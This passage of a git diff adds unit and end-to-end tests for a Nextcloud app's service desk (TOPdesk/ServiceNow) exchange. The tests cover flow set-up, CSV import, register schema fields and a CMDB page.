$stored['organisation']); + $this->assertSame('flow-1', $stored['flows']['applications']); + }//end testAValidSetUpCreatesEveryFlow() + + /** + * Setting up again passes the stored uuids, so the flows are updated, not added. + * + * @return void + */ + public function testASecondSetUpUpdatesTheSameFlows(): void { + $this->gateway->method('inspect')->willReturn(['blocking' => [], 'warnings' => []]); + $uuids = []; + $this->gateway->method('saveAndPublish')->willReturnCallback( + static function (array $flow, ?string $uuid) use (&$uuids): string { + $uuids[] = $uuid; + return $uuid ?? ('flow-' . count($uuids)); + } + ); + + $service = $this->service(); + $first = $service->setUp(desk: 'topdesk', organisation: self::ORG, runAs: 'admin'); + $uuids = []; + $second = $service->setUp(desk: 'topdesk', organisation: self::ORG, runAs: 'admin'); + + $this->assertSame(array_values($first['flows']), $uuids); + $this->assertSame($first['flows'], $second['flows']); + }//end testASecondSetUpUpdatesTheSameFlows() + + /** + * One flow blocked by preflight: nothing is saved, and the answer names the flow, the step and the reason. + * + * @return void + */ + public function testABlockedFlowCreatesNothing(): void { + $this->gateway->method('inspect')->willReturnCallback( + static function (array $flow): array { + if (str_contains($flow['name'], 'relations') === true) { + return ['blocking' => [['step' => 'map-all', 'reason' => 'node-config-rejected', 'detail' => 'no mapping itsm-topdesk-relation-inbound']], 'warnings' => []]; + } + + return ['blocking' => [], 'warnings' => []]; + } + ); + $this->gateway->expects($this->never())->method('saveAndPublish'); + $this->reports->expects($this->once())->method('itsmSetUp')->with(false, $this->anything()); + + $result = $this->service()->setUp(desk: 'topdesk', organisation: self::ORG, runAs: 'admin'); + + $this->assertFalse($result['created']); + $this->assertSame(['relations'], array_keys($result['blocking'])); + $this->assertStringContainsString('relations', $result['message']); + $this->assertStringContainsString('map-all', $result['message']); + $this->assertStringContainsString('node-config-rejected', $result['message']); + $this->assertArrayNotHasKey('itsm_exchange_enabled', $this->settings); + }//end testABlockedFlowCreatesNothing() + + /** + * An unknown desk, an unknown organisation or a missing integriq source is refused before any flow is built. + * + * @return void + */ + public function testWhatIsMissingIsNamed(): void { + $this->gateway->expects($this->never())->method('inspect'); + $this->gateway->expects($this->never())->method('saveAndPublish'); + $service = $this->service(); + + $this->assertStringContainsString('Unknown service desk', $service->setUp(desk: 'jira', organisation: self::ORG, runAs: 'admin')['message']); + $this->assertStringContainsString('does not exist', $service->setUp(desk: 'topdesk', organisation: 'nope', runAs: 'admin')['message']); + $this->assertStringContainsString('no source "servicenow"', $service->setUp(desk: 'servicenow', organisation: self::ORG, runAs: 'admin')['message']); + }//end testWhatIsMissingIsNamed() +}//end class diff --git a/tests/Unit/Service/ItsmFileImportServiceTest.php b/tests/Unit/Service/ItsmFileImportServiceTest.php new file mode 100644 index 000000000..1817134e6 --- /dev/null +++ b/tests/Unit/Service/ItsmFileImportServiceTest.php @@ -0,0 +1,167 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-006-a-file-feeds-the-same-import + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Service; + +use OCA\Stackiq\Service\Itsm\ItsmFlowGateway; +use OCA\Stackiq\Service\ItsmFileImportService; +use OCP\IAppConfig; +use PHPUnit\Framework\MockObject\MockObject; +use PHPUnit\Framework\TestCase; + +/** + * Asserts the reading, the refusals and the run. + */ +class ItsmFileImportServiceTest extends TestCase { + + /** + * OpenRegister's flow store. + * + * @var ItsmFlowGateway&MockObject + */ + private ItsmFlowGateway&MockObject $gateway; + + /** + * Files written by a test. + * + * @var list + */ + private array $files = []; + + /** + * A gateway double with only the real methods. + * + * @return void + */ + protected function setUp(): void { + $this->gateway = $this->getMockBuilder(ItsmFlowGateway::class) + ->disableOriginalConstructor() + ->onlyMethods(['run']) + ->getMock(); + }//end setUp() + + /** + * Remove the files a test wrote. + * + * @return void + */ + protected function tearDown(): void { + foreach ($this->files as $file) { + @unlink($file); + } + }//end tearDown() + + /** + * The service, with or without a set-up file flow. + * + * @param string|null $flow The file flow's uuid, or null when the exchange is not set up. + * + * @return ItsmFileImportService + */ + private function service(?string $flow): ItsmFileImportService { + $config = $this->createMock(IAppConfig::class); + $setting = '{}'; + if ($flow !== null) { + $setting = (string) json_encode(['desk' => 'topdesk', 'flows' => ['file' => $flow]]); + } + + $config->method('getValueString')->willReturn($setting); + + return new ItsmFileImportService(gateway: $this->gateway, appConfig: $config); + }//end service() + + /** + * Write a CSV file. + * + * @param string $content The content. + * + * @return string The path. + */ + private function csv(string $content): string { + $path = (string) tempnam(sys_get_temp_dir(), 'itsm'); + file_put_contents($path, $content); + $this->files[] = $path; + return $path; + }//end csv() + + /** + * A semicolon CSV with a byte order mark reads as rows keyed by header, empty cells left out. + * + * @return void + */ + public function testACsvReadsAsRowsKeyedByHeader(): void { + $path = $this->csv("\xEF\xBB\xBFrecordId;name;supplierName;installedVersion;status\nA-1;Zaaksysteem X;Leverancier B;4.2;In production\nA-2;Burgerzaken;Leverancier C;;Planned\n;;;;\n"); + + $rows = $this->service(flow: null)->readRows(path: $path, name: 'landscape.csv'); + + $this->assertSame( + [ + ['recordId' => 'A-1', 'name' => 'Zaaksysteem X', 'supplierName' => 'Leverancier B', 'installedVersion' => '4.2', 'status' => 'In production'], + ['recordId' => 'A-2', 'name' => 'Burgerzaken', 'supplierName' => 'Leverancier C', 'status' => 'Planned'], + ], + $rows + ); + }//end testACsvReadsAsRowsKeyedByHeader() + + /** + * A file is imported as one run of the file flow, with every row in its payload. + * + * @return void + */ + public function testAFileStartsOneRunWithItsRows(): void { + $path = $this->csv("recordId,name,supplierName\nA-1,Zaaksysteem X,Leverancier B\nA-2,Burgerzaken,Leverancier C\n"); + $this->gateway->expects($this->once())->method('run') + ->with('file-flow', ['rows' => [ + ['recordId' => 'A-1', 'name' => 'Zaaksysteem X', 'supplierName' => 'Leverancier B'], + ['recordId' => 'A-2', 'name' => 'Burgerzaken', 'supplierName' => 'Leverancier C'], + ]]) + ->willReturn('run-1'); + + $result = $this->service(flow: 'file-flow')->import(path: $path, name: 'landscape.csv'); + + $this->assertSame(['started' => true, 'run' => 'run-1', 'rows' => 2], $result); + }//end testAFileStartsOneRunWithItsRows() + + /** + * A row without a record id stops the import and is named as the spreadsheet numbers it. + * + * @return void + */ + public function testARowWithoutARecordIdIsNamed(): void { + $path = $this->csv("recordId,name\nA-1,Zaaksysteem X\n,Burgerzaken\n"); + $this->gateway->expects($this->never())->method('run'); + + $result = $this->service(flow: 'file-flow')->import(path: $path, name: 'landscape.csv'); + + $this->assertFalse($result['started']); + $this->assertStringStartsWith('Row 3 has no recordId', $result['message']); + }//end testARowWithoutARecordIdIsNamed() + + /** + * Without a set-up there is no file flow, and another file type is refused. + * + * @return void + */ + public function testNoSetUpAndAnotherTypeAreRefused(): void { + $this->gateway->expects($this->never())->method('run'); + $path = $this->csv("recordId\nA-1\n"); + + $this->assertStringContainsString('Set up the exchange first', $this->service(flow: null)->import(path: $path, name: 'a.csv')['message']); + $this->assertStringContainsString('only .csv and .xlsx', $this->service(flow: 'file-flow')->import(path: $path, name: 'a.ods')['message']); + }//end testNoSetUpAndAnotherTypeAreRefused() +}//end class diff --git a/tests/Unit/Settings/ConnectionsDeclarationTest.php b/tests/Unit/Settings/ConnectionsDeclarationTest.php index 9dad4350f..46b7854b5 100644 --- a/tests/Unit/Settings/ConnectionsDeclarationTest.php +++ b/tests/Unit/Settings/ConnectionsDeclarationTest.php @@ -97,7 +97,7 @@ class ConnectionsDeclarationTest extends TestCase { * * @var array */ - private const KEYS = ['email', 'federation', 'eol-feed']; + private const KEYS = ['email', 'federation', 'eol-feed', 'itsm']; /** * The repository root. @@ -182,7 +182,7 @@ public function testTheKeysAreUniqueAndTheReportedOnes(): void { $this->assertSame(expected: self::KEYS, actual: $keys); $this->assertSame( expected: self::KEYS, - actual: [ConnectionReportService::KEY_EMAIL, ConnectionReportService::KEY_FEDERATION, ConnectionReportService::KEY_EOL] + actual: [ConnectionReportService::KEY_EMAIL, ConnectionReportService::KEY_FEDERATION, ConnectionReportService::KEY_EOL, ConnectionReportService::KEY_ITSM] ); }//end testTheKeysAreUniqueAndTheReportedOnes() @@ -325,6 +325,31 @@ public function testFederationAndTheFeedAreReportedOnly(): void { $this->assertArrayNotHasKey(key: 'requiredConfig', array: $byKey['email']); }//end testFederationAndTheFeedAreReportedOnly() + /** + * The service desk exchange is reported only, and its switch is the setting the set-up writes. + * + * @return void + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-007-the-cmdb-page-says-what-stackiq-is + */ + public function testTheServiceDeskExchangeIsReportedAndSwitchedByTheSetUp(): void { + $itsm = $this->connectionsByKey()['itsm']; + + $this->assertTrue(condition: $itsm['reportedOnly']); + $this->assertSame(expected: ['configKey' => 'itsm_exchange_enabled'], actual: $itsm['switch']); + $this->assertSame(expected: '/settings/admin/stackiq#section-itsm', actual: $itsm['settingsUrl']); + $this->assertArrayNotHasKey(key: 'sourceTemplate', array: $itsm, message: 'the admin picks the desk, so no single template fits'); + $this->assertSame(expected: ConnectionReportService::KEY_ITSM, actual: $itsm['key']); + + $service = (string) file_get_contents($this->root() . '/lib/Service/ItsmExchangeService.php'); + $this->assertStringContainsString(needle: "ENABLED_KEY = 'itsm_exchange_enabled'", haystack: $service); + $this->assertStringContainsString(needle: 'setValueBool(Application::APP_ID, self::ENABLED_KEY, true)', haystack: $service); + $this->assertStringContainsString(needle: 'connectionReports?->itsmSetUp(', haystack: $service); + + $section = (string) file_get_contents($this->root() . '/src/views/settings/sections/ItsmExchange.vue'); + $this->assertStringContainsString(needle: 'id="section-itsm"', haystack: $section); + }//end testTheServiceDeskExchangeIsReportedAndSwitchedByTheSetUp() + /** * Federation and the end-of-life sync are switched off through the settings stackiq reads. * diff --git a/tests/Unit/Settings/ItsmExchangeFragmentTest.php b/tests/Unit/Settings/ItsmExchangeFragmentTest.php new file mode 100644 index 000000000..3bee97626 --- /dev/null +++ b/tests/Unit/Settings/ItsmExchangeFragmentTest.php @@ -0,0 +1,172 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-005-licences-and-contracts-carry-what-a-cmdb-needs + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Settings; + +use OCA\Stackiq\Service\SettingsService; +use Opis\JsonSchema\Validator; +use PHPUnit\Framework\TestCase; +use ReflectionMethod; + +/** + * Asserts the reference fields, the licence fields, the versions and a real licence payload. + */ +class ItsmExchangeFragmentTest extends TestCase { + + /** + * The schema versions on development before this change. + * + * @var array + */ + private const VERSIONS_BEFORE = [ + 'usage' => '1.5.3', + 'connection' => '0.3.3', + 'catalogContract' => '0.1.3', + ]; + + /** + * The register merged the way SettingsService::loadSettings merges it: every fragment, in file name order. + * + * @return array + */ + private function register(): array { + $dir = __DIR__ . '/../../../lib/Settings'; + $merged = json_decode((string) file_get_contents($dir . '/softwarecatalogus_register.json'), true); + $merge = new ReflectionMethod(SettingsService::class, 'deepMergeConfig'); + $files = glob($dir . '/register.d/*.json'); + sort($files); + foreach ($files as $file) { + $merged = $merge->invoke(null, $merged, json_decode((string) file_get_contents($file), true)); + } + + return $merged; + }//end register() + + /** + * Usage, connection and contract carry the service desk reference, written by the import, not typed. + * + * @return void + */ + public function testThreeSchemasCarryTheServiceDeskReference(): void { + $schemas = $this->register()['components']['schemas']; + foreach (array_keys(self::VERSIONS_BEFORE) as $key) { + $props = $schemas[$key]['properties']; + foreach (['serviceDeskSystem', 'serviceDeskRecordId', 'serviceDeskUrl', 'serviceDeskSyncedAt'] as $field) { + $this->assertArrayHasKey($field, $props, $key . '.' . $field); + $this->assertTrue($props[$field]['hideOnForm'], $key . '.' . $field . ' is written by the import'); + $this->assertNotEmpty($props[$field]['title']); + $this->assertNotEmpty($props[$field]['description']); + } + + $this->assertSame(['topdesk', 'servicenow', 'file'], $props['serviceDeskSystem']['enum']); + $this->assertSame('uri', $props['serviceDeskUrl']['format']); + $this->assertSame('date-time', $props['serviceDeskSyncedAt']['format']); + } + + $usage = $schemas['usage']['properties']; + $this->assertSame('string', $usage['installedVersion']['type']); + $this->assertSame('date-time', $usage['publicationDate']['format']); + }//end testThreeSchemasCarryTheServiceDeskReference() + + /** + * Every changed schema moved its version up, so the import applies it. + * + * @return void + */ + public function testEveryChangedSchemaMovedItsVersionUp(): void { + $schemas = $this->register()['components']['schemas']; + foreach (self::VERSIONS_BEFORE as $key => $before) { + $this->assertTrue(version_compare($schemas[$key]['version'], $before, '>'), $key . ' is ' . $schemas[$key]['version']); + } + }//end testEveryChangedSchemaMovedItsVersionUp() + + /** + * A licence for an application in use, with no catalogue service, validates against the merged contract schema. + * + * @return void + */ + public function testALicenceWithoutAServiceValidates(): void { + $schema = $this->register()['components']['schemas']['catalogContract']; + $this->assertNotContains('service', $schema['required']); + $this->assertArrayNotHasKey('required', $schema['properties']['service']); + + $payload = [ + 'usage' => '5b2c0f4e-1111-4a9b-8c1d-9f0e1a2b3c4d', + 'supplier' => '5b2c0f4e-2222-4a9b-8c1d-9f0e1a2b3c4d', + 'contractNumber' => 'LIC-2026-014', + 'vendorReference' => 'TD-AGR-88213', + 'contractType' => 'Licence', + 'status' => 'Active', + 'startDate' => '2026-01-01T00:00:00+01:00', + 'endDate' => '2028-12-31T00:00:00+01:00', + 'cost' => 12000.0, + 'costPeriod' => 'Annually', + 'currency' => 'EUR', + 'licenceMetric' => 'Per named user', + 'licencesBought' => 50, + 'serviceDeskSystem' => 'topdesk', + 'serviceDeskRecordId' => 'a8c2d1f0-0001', + 'serviceDeskUrl' => 'https://desk.example.nl/tas/secure/contract?unid=a8c2d1f0-0001', + 'serviceDeskSyncedAt' => '2026-10-01T02:00:00+02:00', + ]; + + $result = (new Validator())->validate(json_decode((string) json_encode($payload)), json_decode((string) json_encode($this->validatable(schema: $schema)))); + $this->assertTrue($result->isValid(), (string) json_encode($result->error()?->args())); + + $bad = $payload; + $bad['currency'] = 'euro'; + $result = (new Validator())->validate(json_decode((string) json_encode($bad)), json_decode((string) json_encode($this->validatable(schema: $schema)))); + $this->assertFalse($result->isValid(), 'a currency that is not an ISO 4217 code is refused'); + + unset($payload['usage']); + $result = (new Validator())->validate(json_decode((string) json_encode($payload)), json_decode((string) json_encode($this->validatable(schema: $schema)))); + $this->assertFalse($result->isValid(), 'a contract still needs its application in use'); + }//end testALicenceWithoutAServiceValidates() + + /** + * The schema in the shape a JSON Schema validator reads: relations are uuids, OpenRegister's own keys dropped. + * + * @param array $schema The register schema. + * + * @return array The validatable schema. + */ + private function validatable(array $schema): array { + $props = []; + foreach ($schema['properties'] as $name => $prop) { + if (isset($prop['$ref']) === true || isset($prop['items']['$ref']) === true) { + $props[$name] = ['type' => ['string', 'object', 'array', 'null']]; + continue; + } + + $keep = []; + foreach (['type', 'enum', 'format', 'pattern', 'minimum', 'maximum', 'maxLength'] as $key) { + if (isset($prop[$key]) === true) { + $keep[$key] = $prop[$key]; + } + } + + if (($keep['format'] ?? '') === 'date-time' || ($keep['format'] ?? '') === 'date') { + unset($keep['format']); + } + + $props[$name] = $keep; + } + + return ['type' => 'object', 'required' => $schema['required'], 'properties' => $props]; + }//end validatable() +}//end class diff --git a/tests/Unit/Settings/ItsmFlowTemplatesTest.php b/tests/Unit/Settings/ItsmFlowTemplatesTest.php new file mode 100644 index 000000000..784a5adb5 --- /dev/null +++ b/tests/Unit/Settings/ItsmFlowTemplatesTest.php @@ -0,0 +1,316 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-002-the-import-creates-and-updates-stackiq-records-and-never-duplicates-them + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Settings; + +use OCA\Stackiq\Service\Itsm\ItsmFlowGateway; +use OCA\Stackiq\Service\ItsmExchangeService; +use OCA\Stackiq\Service\SettingsService; +use OCP\IAppConfig; +use OCP\IURLGenerator; +use PHPUnit\Framework\TestCase; +use Psr\Log\LoggerInterface; +use ReflectionMethod; + +/** + * Asserts the shape, the field names and the hash inputs of every filled flow. + */ +class ItsmFlowTemplatesTest extends TestCase { + + /** + * Node types OpenRegister registers (lib/Listener/FlowNodeRegistrationListener.php) + * and integriq registers (lib/Flow/FlowNodeListener.php), on development 2026-10-01. + * + * @var list + */ + private const KNOWN_TYPES = [ + 'openregister.trigger-object', + 'openregister.trigger-schedule', + 'openregister.trigger-manual', + 'openregister.object-read', + 'openregister.object-write', + 'openregister.filter', + 'openregister.explode', + 'openregister.set-fields', + 'openregister.end', + 'openconnector.source-paginate', + 'openconnector.apply-mapping', + 'openconnector.contract', + 'openconnector.contract-commit', + 'openconnector.source-call', + ]; + + /** + * The stackiq-owned fields of an application in use (design D2). + * + * @var list + */ + private const STACKIQ_OWNED = ['bbnLevel', 'timeClassification', 'publicationDate', 'licencesBought', 'licencesInUse', 'licenceMetric', 'contractNumber', 'contractEndDate']; + + /** + * The service-desk-owned fields of an application in use (design D2). + * + * @var list + */ + private const SOURCE_OWNED = ['recordId', 'recordUrl', 'name', 'supplierName', 'installedVersion', 'status', 'description']; + + /** + * Every flow, filled for one desk. + * + * @param string $desk The desk. + * + * @return array> + */ + private function flows(string $desk): array { + $urls = $this->createMock(IURLGenerator::class); + $urls->method('getAbsoluteURL')->willReturn('https://cloud.example.nl/index.php/apps/stackiq'); + + $service = new ItsmExchangeService( + gateway: $this->createMock(ItsmFlowGateway::class), + appConfig: $this->createMock(IAppConfig::class), + urlGenerator: $urls, + logger: $this->createMock(LoggerInterface::class) + ); + + return $service->buildFlows(desk: $desk, organisation: '0f6c3a8e-1111-4c2b-9d6a-2a1b3c4d5e6f', runAs: 'admin', location: 'https://desk.example.nl/tas/api', templateId: 'tpl-application'); + }//end flows() + + /** + * The merged register's schemas. + * + * @return array> + */ + private function schemas(): array { + $dir = __DIR__ . '/../../../lib/Settings'; + $merged = json_decode((string) file_get_contents($dir . '/softwarecatalogus_register.json'), true); + $merge = new ReflectionMethod(SettingsService::class, 'deepMergeConfig'); + $files = glob($dir . '/register.d/*.json'); + sort($files); + foreach ($files as $file) { + $merged = $merge->invoke(null, $merged, json_decode((string) file_get_contents($file), true)); + } + + return $merged['components']['schemas']; + }//end schemas() + + /** + * Nodes by id. + * + * @param array $flow The flow. + * + * @return array> + */ + private function nodes(array $flow): array { + $byId = []; + foreach ($flow['nodes'] as $node) { + $byId[$node['id']] = $node; + } + + return $byId; + }//end nodes() + + /** + * Every flow is filled, uses known node types, and its edges join nodes that exist. + * + * @return void + */ + public function testEveryFlowIsFilledAndWellFormed(): void { + foreach (['topdesk', 'servicenow'] as $desk) { + $flows = $this->flows(desk: $desk); + $this->assertSame(['applications', 'relations', 'licences', 'contracts', 'outbound', 'file'], array_keys($flows)); + foreach ($flows as $key => $flow) { + $label = $desk . '/' . $key; + $this->assertDoesNotMatchRegularExpression('/%[A-Z_]+%/', (string) json_encode($flow), $label . ' has an unfilled placeholder'); + $this->assertSame('stackiq', $flow['app']); + $nodes = $this->nodes(flow: $flow); + $this->assertCount(count($flow['nodes']), $nodes, $label . ' has duplicate node ids'); + + $incoming = []; + foreach ($flow['edges'] as $edge) { + $this->assertArrayNotHasKey('type', $edge, $label . ': a step lives on a node, never on an edge'); + $this->assertArrayHasKey($edge['from'], $nodes, $label . ' edge from'); + $this->assertArrayHasKey($edge['to'], $nodes, $label . ' edge to'); + $incoming[$edge['to']] = true; + } + + $ends = 0; + foreach ($nodes as $id => $node) { + $this->assertContains($node['type'], self::KNOWN_TYPES, $label . ' node ' . $id); + if (str_starts_with($node['type'], 'openregister.trigger-') === false) { + $this->assertArrayHasKey($id, $incoming, $label . ' node ' . $id . ' is unreachable'); + } + + if ($node['type'] === 'openregister.end') { + $ends++; + } + } + + $this->assertGreaterThanOrEqual(1, $ends, $label . ' has an end'); + }//end foreach + }//end foreach + }//end testEveryFlowIsFilledAndWellFormed() + + /** + * Every field a write sets and every filter a read uses exists on the schema it names. + * + * @return void + */ + public function testEveryWrittenFieldExistsOnItsSchema(): void { + $schemas = $this->schemas(); + $writes = 0; + foreach ($this->flows(desk: 'topdesk') as $key => $flow) { + foreach ($flow['nodes'] as $node) { + $config = $node['config']; + if (in_array($node['type'], ['openregister.object-write', 'openregister.object-read'], true) === false) { + continue; + } + + $this->assertSame('stackiq', $config['register'], $key . '/' . $node['id']); + $this->assertArrayHasKey($config['schema'], $schemas, $key . '/' . $node['id']); + $props = $schemas[$config['schema']]['properties']; + $named = array_keys($config['fields'] ?? []); + foreach (($config['match'] ?? []) as $pair) { + $named[] = $pair['property']; + } + + $named = array_merge($named, array_keys($config['filters'] ?? [])); + foreach ($named as $field) { + if ($field === '@self' || str_starts_with($field, '@self.') === true) { + continue; + } + + $this->assertArrayHasKey($field, $props, $key . '/' . $node['id'] . ' names ' . $config['schema'] . '.' . $field); + } + + $writes++; + }//end foreach + }//end foreach + + $this->assertGreaterThanOrEqual(15, $writes); + }//end testEveryWrittenFieldExistsOnItsSchema() + + /** + * The import hashes only what the service desk owns, so an export's change to a stackiq field never comes back as a write. + * + * @return void + */ + public function testTheImportHashesTheOwnershipFilteredRecord(): void { + foreach ($this->flows(desk: 'topdesk') as $key => $flow) { + if ($key === 'outbound') { + continue; + } + + $nodes = $this->nodes(flow: $flow); + $decide = $nodes['decide']['config']; + $owned = $nodes['map-owned']['config']; + $this->assertSame('owned', $owned['output'], $key); + $this->assertSame('inbound', $owned['ownership'], $key); + $this->assertSame('record.recordId', $owned['exists'], $key . ': exists is always set, so the projection is always the source-owned one'); + $this->assertSame($nodes['map-all']['config']['mapping'], $owned['mapping'], $key . ': both maps use the same preset'); + $this->assertSame('owned', $decide['hashPosition'], $key); + $this->assertSame('owned', $nodes['commit']['config']['targetHashPosition'], $key); + } + + $applications = $this->nodes(flow: $this->flows(desk: 'topdesk')['applications']); + foreach ($applications['usage-update']['config']['fields'] as $field => $value) { + $this->assertDoesNotMatchRegularExpression('/record\./', (string) $value, 'an update writes ' . $field . ' from the owned projection only'); + } + }//end testTheImportHashesTheOwnershipFilteredRecord() + + /** + * The export hashes only what stackiq owns, so an import's write never makes a call. + * + * @return void + */ + public function testTheExportHashesOnlyStackiqOwnedFields(): void { + $nodes = $this->nodes(flow: $this->flows(desk: 'servicenow')['outbound']); + $this->assertSame('stackiqOwned', $nodes['decide']['config']['hashPosition']); + $this->assertSame('usage.uuid', $nodes['decide']['config']['idPosition']); + + $hashed = []; + foreach (array_keys($nodes['owned']['config']['set']) as $path) { + $this->assertStringStartsWith('stackiqOwned.', $path); + $hashed[] = substr($path, strlen('stackiqOwned.')); + } + + $this->assertSame(self::STACKIQ_OWNED, $hashed); + $this->assertSame([], array_intersect($hashed, self::SOURCE_OWNED)); + + $this->assertSame('outbound', $nodes['map']['config']['ownership']); + $this->assertSame('usage.recordId', $nodes['map']['config']['exists']); + $this->assertSame('/api/now/table/cmdb_ci_appl', $nodes['call-create']['config']['endpoint']); + $this->assertSame('{{ response.body.result.sys_id }}', $nodes['link-back']['config']['fields']['serviceDeskRecordId']); + $this->assertStringStartsWith('https://desk.example.nl/nav_to.do', $nodes['link-back']['config']['fields']['serviceDeskUrl']); + $this->assertSame(['sysparm_input_display_value' => 'true'], $nodes['call-create']['config']['query'], 'a list placeholder is filled with the list'); + $this->assertSame('send', $nodes['call-create']['config']['bodyFrom']); + + $topdesk = $this->nodes(flow: $this->flows(desk: 'topdesk')['outbound']); + $this->assertSame('tpl-application', $topdesk['build']['config']['set']['usage._desk.templateId']); + $this->assertSame('POST', $topdesk['call-update']['config']['method'], 'TOPdesk updates an asset with POST'); + $this->assertSame('{{ response.body.data.id }}', $topdesk['link-back']['config']['fields']['serviceDeskRecordId']); + }//end testTheExportHashesOnlyStackiqOwnedFields() + + /** + * The imports run on a schedule, the export on usage changes, the file import by hand. + * + * @return void + */ + public function testEachFlowStartsTheWayTheDesignSays(): void { + $flows = $this->flows(desk: 'topdesk'); + foreach (['applications', 'relations', 'licences', 'contracts'] as $key) { + $this->assertSame('schedule', $flows[$key]['trigger'], $key); + $this->assertSame(ItsmExchangeService::CRON, $flows[$key]['cron'], $key); + $start = $this->nodes(flow: $flows[$key])['start']; + $this->assertSame('openregister.trigger-schedule', $start['type']); + $this->assertSame('admin', $start['config']['runAs']); + $this->assertSame('itsm-topdesk-' . $key, $this->nodes(flow: $flows[$key])['decide']['config']['synchronization']); + } + + $relations = $this->nodes(flow: $flows['relations']); + $this->assertArrayNotHasKey('pages', $relations, 'TOPdesk has no list of all links, so relations are read per application'); + $this->assertSame('/assetmgmt/assetLinks', $relations['links']['config']['endpoint']); + $this->assertSame(['sourceId' => '{{ serviceDeskRecordId }}'], $relations['links']['config']['query']); + $this->assertSame(['serviceDeskSystem' => 'topdesk'], $relations['usages']['config']['filters']); + $this->assertSame('itsm-servicenow-relations', $this->nodes(flow: $this->flows(desk: 'servicenow')['relations'])['pages']['config']['synchronization']); + foreach (['applications', 'licences', 'contracts', 'file'] as $key) { + $this->assertSame('https://desk.example.nl', $this->nodes(flow: $flows[$key])['desk']['config']['set']['source._desk.baseUrl'], $key . ' hands the preset the tenant base'); + } + + $this->assertSame('Licence', $this->nodes(flow: $flows['licences'])['flags']['config']['compute']['contractType']['or'][1]); + $this->assertSame('itsm-topdesk-licence-inbound', $this->nodes(flow: $flows['licences'])['map-all']['config']['mapping']); + + $events = []; + foreach ($flows['outbound']['nodes'] as $node) { + if ($node['type'] === 'openregister.trigger-object') { + $events[] = $node['config']['event']; + $this->assertSame('usage', $node['config']['schema']); + } + } + + $this->assertSame(['object.created', 'object.updated'], $events); + $this->assertSame('openregister.trigger-manual', $this->nodes(flow: $flows['file'])['start']['type']); + $this->assertSame('itsm-file-application-inbound', $this->nodes(flow: $flows['file'])['map-all']['config']['mapping']); + $this->assertSame('file', $this->nodes(flow: $flows['file'])['usage-create']['config']['fields']['serviceDeskSystem']); + }//end testEachFlowStartsTheWayTheDesignSays() +}//end class diff --git a/tests/e2e/workflows/itsm-exchange.spec.ts b/tests/e2e/workflows/itsm-exchange.spec.ts new file mode 100644 index 000000000..31e5d084d --- /dev/null +++ b/tests/e2e/workflows/itsm-exchange.spec.ts @@ -0,0 +1,111 @@ +// SPDX-License-Identifier: EUPL-1.2 +// SPDX-FileCopyrightText: 2026 Conduction B.V. +/** + * Service desk exchange, the part a browser sees: the CMDB page says what + * stackiq records and what it does not, and Applications in use shows the + * service desk record of a usage. + * + * Seeds one supplier, one application and one usage carrying this run's + * RUN_ID and a service desk reference, through the objects API, and removes + * exactly those rows afterwards. The flows themselves run server-side; their + * set-up is covered by tests/Unit/Service/ItsmExchangeServiceTest.php and the + * live run recorded in the pull request. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md + */ +import type { APIRequestContext } from '@playwright/test' +import type { VoorzieningenConfig } from './_fixtures.ts' + +import { expect, test } from '@playwright/test' +import { + createObject, + deleteObject, + newApiContext, + resolveConfig, + RUN_ID, +} from './_fixtures.ts' +import { dismissSupportDialog, gotoAppRoute } from './_ui.ts' + +let apiCtx: APIRequestContext +let cfg: VoorzieningenConfig +const seeded: Array<[string, string]> = [] +const recordId = `${RUN_ID}-A-123` + +/** + * Create a row and remember it for cleanup. + * + * @param schema The schema slug. + * @param data The object. + * @return The new id. + */ +async function seed(schema: string, data: Record): Promise { + const id = await createObject(apiCtx, cfg.register, schema, data) + seeded.push([schema, id]) + return id +} + +test.beforeAll(async () => { + apiCtx = await newApiContext() + cfg = await resolveConfig(apiCtx) + const supplier = await seed('organization', { + name: `${RUN_ID} supplier`, + type: 'Supplier', + }) + const consumer = await seed('organization', { + name: `${RUN_ID} municipality`, + type: 'Municipality', + }) + const module = await seed('module', { + name: `${RUN_ID} application`, + provider: supplier, + }) + await seed('usage', { + module, + consumer, + status: 'In production', + serviceDeskSystem: 'topdesk', + serviceDeskRecordId: recordId, + serviceDeskUrl: `https://desk.example.nl/tas/secure/assetmgmt/card.html?unid=${recordId}`, + }) +}) + +test.afterAll(async () => { + if (!apiCtx) return + for (const [schema, id] of seeded.reverse()) { + await deleteObject(apiCtx, cfg.register, schema, id) + } + await apiCtx.dispose() +}) + +// @e2e itsm-exchange::an-information-manager-opens-the-cmdb-page +test('the CMDB page (CmdbOverview) names what stackiq records and what it does not', async ({ + page, +}) => { + await gotoAppRoute(page, '/cmdb') + await dismissSupportDialog(page) + const records = page.getByTestId('cmdb-records') + await expect(records).toBeVisible({ timeout: 30000 }) + for (const label of [ + 'Applications in use', + 'Applications and their components', + 'Connections', + 'Licences and contracts', + ]) { + await expect(records.getByRole('link', { name: label })).toBeVisible() + } + await expect(page.getByTestId('cmdb-not-recorded')).toContainText( + 'does not discover hardware', + ) + await expect(page.getByTestId('cmdb-exchange')).toBeVisible() + await records.getByRole('link', { name: 'Licences and contracts' }).click() + await expect(page).toHaveURL(/\/contracten/) +}) + +// @e2e itsm-exchange::a-service-desk-employee-finds-the-catalogue-entry-and-back +test('Applications in use shows the service desk record of a usage', async ({ + page, +}) => { + await gotoAppRoute(page, '/gebruik') + await dismissSupportDialog(page) + await expect(page.getByText(recordId).first()).toBeVisible({ timeout: 30000 }) +}) 